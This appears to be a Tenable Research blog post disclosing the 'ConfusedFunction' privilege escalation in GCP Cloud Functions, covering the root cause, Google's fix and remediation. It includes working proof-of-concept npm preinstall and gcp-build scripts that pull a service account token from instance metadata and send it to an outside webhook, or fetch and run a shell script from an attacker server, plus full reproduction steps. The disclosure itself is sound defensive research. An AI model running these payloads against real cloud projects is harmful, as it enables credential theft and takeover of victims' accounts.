Organizations that have used Google Cloud Platform’s Cloud Functions – a serverless execution environment – could be impacted by a privilege escalation vulnerability discovered by Tenable and dubbed as “ConfusedFunction.” Read on to learn all about the vulnerability and what your organization needs to do to protect itself.
Tenable Research has discovered a vulnerability in Google Cloud Platform involving its Cloud Functions serverless compute service and its Cloud Build CI/CD pipeline service.
Specifically, we discovered that when a GCP user creates or updates a Cloud Function, a multi-step backend process is triggered. This process, among other things, attaches a default Cloud Build service account to the Cloud Build instance that is created as part of the function’s deployment. This process happens in the background and isn’t something that ordinary users would be aware of.
This default Cloud Build service account gives the user excessive permissions. An attacker who gains access to create or update a Cloud Function can take advantage of the function’s deployment process to escalate privileges to the default Cloud Build service account.
The attacker could leverage the high privileges of the default Cloud Build service account in other GCP services that are created when a Cloud Function is created or updated, including Cloud Storage, and Artifact Registry or Container Registry.
After Tenable reported the vulnerability to GCP, GCP confirmed it and remediated ConfusedFunction to some extent for Cloud Build accounts created after mid-June 2024. However, remediation efforts did not address existing Cloud Build instances.
The ConfusedFunction vulnerability highlights the problematic scenarios that may arise due to software complexity and inter-service communication in a cloud provider's services.
Specifically, to support backward compatibility, GCP has not changed the privileges from Cloud Build service accounts created before the fix was implemented. This means that the vulnerability is still affecting existing instances.
It’s also worth mentioning that while the GCP fix has reduced the severity of the problem for future deployments, it didn’t completely eliminate it. That’s because the deployment of a Cloud Function still triggers the creation of the aforementioned GCP services. As a result, users must still assign minimum but still relatively broad permissions to the Cloud Build service account as part of a function’s deployment.
So if you use Cloud Functions, we highly recommend monitoring and taking preventive action in this scenario, since attackers could still use it as a tactic, technique and procedure (TTP).
We want to thank Google Cloud for its cooperation and quick response.
How to remediate this vulnerability
For every cloud function using the legacy Cloud Build service account, replace it with a least-privilege service account. More details on how Tenable can help can be found at the end of this blog.
What are Cloud Functions?
Cloud Functions in GCP are event-triggered, serverless functions. They automatically scale and execute code in response to specific events like HTTP requests or data changes. The first generation offered basic event handling, while the second generation improved language options, runtime customization and overall flexibility for more complex applications.
ConfusedFunction vulnerability details
When creating a new Cloud Function or updating an existing one, GCP initiates a deployment process behind the scenes. The vulnerability affects both first- and second-generation Cloud Functions. We will focus our description of the vulnerability on the first gen deployment process as it is less complicated than that of the second gen, which includes additional GCP services.
Following the Cloud Function deployment trigger, a service agent saves the Cloud Function’s source code to a Cloud Storage bucket, and a Cloud Build instance orchestrates the function’s deployment. It does so by building the Cloud Function code into a container image and pushing the image to a Container Registry or an Artifact Registry.
But how does this Cloud Build instance perform privileged actions within your Google Cloud project?
Tenable Research noticed that the Cloud Build instance that GCP creates for the Cloud Function deployment has the default Cloud Build service account attached to it. This service account comes along with some interesting permissions. This attachment process is hidden behind the scenes, just like the deployment process initiation is. The only way a user can change the service account of the Cloud Build function deployment instance is by editing it after it has already been created.
An important note: As you would expect, the only permissions a user needs to be able to create or update a Cloud Function are function permissions, but the Cloud Build instance, Cloud Storage bucket and Artifact Registry image in the user's account – all of which GCP creates for orchestration needs – require additional privileges.
GCP creates these background services through the use of service agents and the default Cloud Build service account. In terms of identity and access management (IAM), a user who has access to Cloud Functions should not have IAM permissions to the services included in the function’s orchestration.
While inspecting the Cloud Build instance created when Tenable Research deployed the function, we looked for a sink – potentially dangerous endpoints where injected malicious data can lead to adverse effects, such as code execution – controlled by user input or any other controllable source that would enable code to run in the Cloud Build instance and escalate privileges from Cloud Function permissions to the default Cloud Build service account’s permissions.
To this end, we encountered the following "npm install" command in the Cloud Build instance logs correlated to our node.js function:
Cloud Build installs the function's dependencies, which we can control with our function permissions. Looks like a perfect candidate for privilege escalation!
We can now create a new Cloud Function or edit an existing one, set our “malicious” dependency in the function's dependencies file and let the deployment do its job.
Here’s package.json example in a node.js function:
{
"dependencies": {
"@google-cloud/functions-framework": "^3.0.0",
"mypocmaliciouspackage": "^1.0.0"
}
}
The deployment process will start, and the Cloud Build instance correlated to our function deployment will run its build commands, including the "npm install" command that will install our malicious dependency. This process works the same and affects all of the Cloud Functions' runtime environments.
Our goal was to run code on the Cloud Build instance. We can do that using a preinstall script in our malicious dependency that will force the Cloud Build instance to run our code. Here’s our malicious dependency example:
{
"name": "mypocmaliciouspackage",
"version": "4.0.0",
"description": "poc",
"main": "index.js",
"scripts": {
"test": "echo 'testa'",
"preinstall": "access_token=$(curl -H 'Metadata-Flavor: Google' 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/134567893333@cloudbuild.gserviceaccount.com/token');curl -X POST -d $access_token https://tenable-webhook.com"
},
"author": "me",
"license": "ISC"
}
This code will then extract the default Cloud Build service account token, which GCP automatically attached, from the metadata of the Cloud Build instance:
Finally, we can use this token to impersonate the identity of the default Cloud Build service account and escalate our privileges from Cloud Function to the permissions of the service account.
Full attack reproduction
Steps to reproducing this technique with a Node.js function runtime as an example:
- Run npm init.
- A package will be created in your current folder. Change the package.json code to the following:
{
"name": "mypocmaliciouspackage",
"version": "4.0.0",
"description": "poc",
"main": "index.js",
"scripts": {
"test": "echo 'testa'",
"preinstall": "access_token=$(curl -H 'Metadata-Flavor: Google' 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/134567893333@cloudbuild.gserviceaccount.com/token');curl -X POST -d $access_token https://webhook.com"
},
"author": "me",
"license": "ISC"
}
- Run npm publish --scope public. (Please note that this will result in the package being published to the public npm registry.)
- Create a new Cloud Function or update an existing one with an identity that has function permissions.
- Pick a Node.js runtime and edit the package.json with your malicious package:
{
"dependencies": {
"@google-cloud/functions-framework": "^3.0.0",
"mypocmaliciouspackage": "^1.0.0"
}
}
- Deploy the Cloud Function. The Cloud Build will run, your malicious package will be installed, and the preinstall script of the malicious package will exfiltrate the GCP token of the default Cloud Build service account from the metadata of the Cloud Build instance to your webhook.
The aftermath: More ways for exploitation
Later in the research, we found more ways to leak the default Cloud Build service account token in the function deployment process. One of them is through the npm build start script.
As a part of the build process, the Cloud Build instance uses build scripts.
The problematic scenario here is similar to ConfusedFunction: Cloud Build scripts are controlled through the source code of the Cloud Function.
Identities with permission to update or create a function can run code in the build process of Cloud Build by inputting malicious code in the start build script.
From there, the exploitation process is the same. Attackers can inject the malicious build script in the package.json/requirements.txt of the function (depending on the runtime environment of the Cloud Function).
The default Cloud Build service account can be abused, and its token can be exfiltrated by accessing the metadata of the Cloud Build instance with the code ran by the malicious build script.
Steps to reproduce with Node.js runtime:
- Change the package.json to the following and host your malicious script/reverse shell in shell.sh: { "dependencies": { "@google-cloud/functions-framework": "^3.0.0" }, "scripts": { "gcp-build": "curl -s http://attackerserver/shell.sh | bash" } }
- Deploy the function.
The vulnerability fix and extra steps taken by GCP to enhance overall security
In response to the disclosure of the identified vulnerabilities, GCP deployed solutions to enhance the security of Google Cloud Functions and Cloud Build service accounts in general.
In mid-June, GCP added an option in Cloud Functions that involves using a custom service account for the Cloud Build instance deployed as part of the function deployment process. This service account should be tailored to the specific requirements of the Cloud Functions deployment. This form of deployment is more secure.
Before the fix, the customer didn’t have visibility and control over the default Cloud Build service account, as it was attached automatically to the Cloud Build instance as part of the function deployment process.
More details about the fix can be found in this recent update to the GCP documentation.
Extra steps taken by Google Cloud
Google Cloud deployed another update for Cloud Build over the months. of May and June, as an additional response to the ConfusedFunction finding. This update changed the default behavior of Cloud Build and of the default Cloud Build service account. In late June, additional organization policies were released to allow organizations full control over which service account Cloud Build uses by default.
These are the changes for new and existing projects that enable the Cloud Build API release deployed over the months of May and June 2024:
- Existing Cloud Build service accounts are referred to from now on as legacy Cloud Build service accounts.
- Projects use the Compute Engine service account by default for directly submitted builds.
- Projects have to explicitly specify a service account when you create a new trigger.
- The behavior for existing projects that enable the Cloud Build API before the changes were introduced remain unchanged by default.
- For organizations, you can adjust the organization policies to control which service account Cloud Build uses by default.
More information on the new organization policies introduced by Google Cloud and the updates can be found here.
By adopting these fixes, you can systematically enhance the security posture of your Google Cloud environment.
Conclusion
Cloud providers use their core services as the foundation of more popular customer-facing offerings, so one click in the console can create many different resources in the account in the background that you may not be aware of. In the ConfusedFunction vulnerability, this design pattern was the root cause of this vulnerability.
Software complexity and inter-service communication make it difficult to protect and secure modern applications. As more and more services are included in the process, vulnerabilities and misconfigurations are likely to occur.
In addition, these types of vulnerabilities, and common misconfigurations based on the same concepts, also tend to confuse customers with regards to where they sit in the shared responsibility model. Even though those resources were created by the cloud provider, their security is the customer’s responsibility because these resources are in the customer’s account.
In this post, we showed a technique for abusing the permissions of the Cloud Function deployment to elevate privileges. By sharing our process, we hope to educate the security community regarding the complexity of Cloud Function internal workings and the many nuances of IAM risk.
How can Tenable Cloud Security help?
The Tenable Cloud Security team will launch a feature to help customers eliminate the risks described in this blog post in August 2024. The feature will alert customers on excessive IAM permissions and the use of the default Cloud Build service account, while considering the use and risks of Cloud Functions.
Due to the complexity of cloud infrastructure, IAM misconfigurations are inevitable and, as we saw in this post, can pose a huge risk. The Tenable Cloud Security CNAPP solution can help by identifying exactly which resources an identity can access or, conversely, how a resource is exposed including risks such as privilege escalation, and automatically generate least-privilege policies that eliminate the risky permissions.
Tenable Research is here to help
Feel free to contact Tenable Research with any questions or concerns you have about cloud security.